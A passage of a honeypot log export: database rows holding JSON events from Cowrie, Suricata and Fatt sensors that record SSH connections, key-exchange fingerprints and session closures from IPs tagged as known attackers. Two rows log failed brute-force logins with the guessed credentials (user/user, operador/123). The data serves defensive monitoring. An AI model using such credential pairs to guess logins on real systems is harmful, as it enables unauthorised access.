"192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
34974	5.188.62.219	109.199.241.180	Suricata	2021-09-20 15:05:45.393106+03	2021-09-20 15:15:02.626723+03	{"_id": "UgYZA3wBvYTbRNuEDFn5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "flow_id": 799870971092096, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46018, "dest_port": 22, "timestamp": "2021-09-20T12:05:45.393106Z", "@timestamp": "2021-09-20T12:05:45.393Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
34975	5.188.62.196	109.199.241.180	Fatt	2021-09-20 15:05:45.573561+03	2021-09-20 15:15:02.62769+03	{"_id": "WwYZA3wBvYTbRNuEDllU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 55232, "dest_port": 22, "timestamp": "2021-09-20T12:05:45.573561", "@timestamp": "2021-09-20T12:05:45.573Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
34982	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:05:45.573993+03	2021-09-20 15:15:02.63769+03	{"_id": "ZQYZA3wBvYTbRNuED1m9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "86f502cb0aaa", "@version": "1", "timestamp": "2021-09-20T12:05:45.573993Z", "@timestamp": "2021-09-20T12:05:45.573Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
34976	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:05:45.335618+03	2021-09-20 15:15:02.629725+03	{"_id": "XQYZA3wBvYTbRNuEDllU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.219", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46018, "timestamp": "2021-09-20T12:05:45.335618", "@timestamp": "2021-09-20T12:05:45.335Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34977	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:05:45.78783+03	2021-09-20 15:15:02.630719+03	{"_id": "ZAYZA3wBvYTbRNuED1m9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "86f502cb0aaa", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:05:45.787830Z", "@timestamp": "2021-09-20T12:05:45.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
34978	5.188.62.196	109.199.241.180	Suricata	2021-09-20 15:05:45.573561+03	2021-09-20 15:15:02.632725+03	{"_id": "UwYZA3wBvYTbRNuEDFn5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:05:45.445617+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 366568900512945, "payload": "AAADvA4Uy9KzALe+woOTAq0MONLGEAAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAh2FlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYywzZGVzLWNiYyxhcmNmb3VyLGFyY2ZvdXIxMjgsYXJjZm91cjI1NgAAAIdhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1jYmMsM2Rlcy1jYmMsYXJjZm91cixhcmNmb3VyMTI4LGFyY2ZvdXIyNTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAADhROH2zKymX1wuxwEgf", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55232, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:05:45.573561Z", "@timestamp": "2021-09-20T12:05:45.573Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................8.......curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none.............8Q8}.+).....H."}}	1	\N	\N	alert	\N	RU
34979	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:05:45.512142+03	2021-09-20 15:15:02.633729+03	{"_id": "WgYZA3wBvYTbRNuEDllU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55232, "timestamp": "2021-09-20T12:05:45.512142", "@timestamp": "2021-09-20T12:05:45.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34980	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:05:45.507011+03	2021-09-20 15:15:02.634719+03	{"_id": "YwYZA3wBvYTbRNuED1m9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:55232 (192.168.176.2:22) [session: 86f502cb0aaa]", "session": "86f502cb0aaa", "@version": "1", "protocol": "ssh", "src_port": 55232, "dest_port": 22, "timestamp": "2021-09-20T12:05:45.507011Z", "@timestamp": "2021-09-20T12:05:45.507Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
34981	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:05:46.852676+03	2021-09-20 15:15:02.636719+03	{"_id": "aAYZA3wBvYTbRNuEE1mm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "86f502cb0aaa", "@version": "1", "duration": 1.3429837226867676, "timestamp": "2021-09-20T12:05:46.852676Z", "@timestamp": "2021-09-20T12:05:46.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
34985	182.74.25.246	109.199.241.180	Cowrie	2021-09-20 15:05:38.962545+03	2021-09-20 15:15:02.642692+03	{"_id": "SAYYA3wBvYTbRNuE9Flh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "182.74.25.246", "asn": 9498, "as_org": "BHARTI Airtel Ltd.", "latitude": 26.9133, "location": {"lat": 26.9133, "lon": 75.7879}, "timezone": "Asia/Kolkata", "city_name": "Jaipur", "longitude": 75.7879, "postal_code": "302001", "region_code": "RJ", "region_name": "Rajasthan", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "182.74.25.246", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "2547884a6eb4", "@version": "1", "duration": 2.358567953109741, "timestamp": "2021-09-20T12:05:38.962545Z", "@timestamp": "2021-09-20T12:05:38.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	IN
34986	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:05:40.338932+03	2021-09-20 15:15:02.643692+03	{"_id": "SQYYA3wBvYTbRNuE-FlK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "679cbf33ee9f", "@version": "1", "duration": 2.333148717880249, "timestamp": "2021-09-20T12:05:40.338932Z", "@timestamp": "2021-09-20T12:05:40.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	HK
34987	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 15:05:40.665118+03	2021-09-20 15:15:02.644691+03	{"_id": "SgYYA3wBvYTbRNuE_Fky", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.session.closed", "message": "Connection lost after 17 seconds", "session": "58dda5b9e76c", "@version": "1", "duration": 17.435587167739868, "timestamp": "2021-09-20T12:05:40.665118Z", "@timestamp": "2021-09-20T12:05:40.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	AL
34988	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:05:39.12333+03	2021-09-20 15:15:02.646691+03	{"_id": "RwYYA3wBvYTbRNuE9Flh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.login.failed", "message": "login attempt [operador/123] failed", "session": "679cbf33ee9f", "@version": "1", "password": "123", "username": "operador", "timestamp": "2021-09-20T12:05:39.123330Z", "@timestamp": "2021-09-20T12:05:39.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	HK
34989	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:08.092562+03	2021-09-20 15:15:02.64769+03	{"_id": "mwYZA3wBvYTbRNuEZVm2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:44426 (192.168.176.2:22) [session: f5c125d86b8c]", "session": "f5c125d86b8c", "@version": "1", "protocol": "ssh", "src_port": 44426, "dest_port": 22, "timestamp": "2021-09-20T12:06:08.092562Z", "@timestamp": "2021-09-20T12:06:08.092Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
34990	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:08.095309+03	2021-09-20 15:15:02.648691+03	{"_id": "mgYZA3wBvYTbRNuEZVm2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f5c125d86b8c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:06:08.095309Z", "@timestamp": "2021-09-20T12:06:08.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
34991	96.78.175.36	109.199.241.180	Suricata	2021-09-20 15:06:08.273613+03	2021-09-20 15:15:02.65069+03	{"_id": "nQYZA3wBvYTbRNuEZlnc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 13690093951680, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44426, "dest_port": 22, "timestamp": "2021-09-20T12:06:08.273613Z", "@timestamp": "2021-09-20T12:06:08.273Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
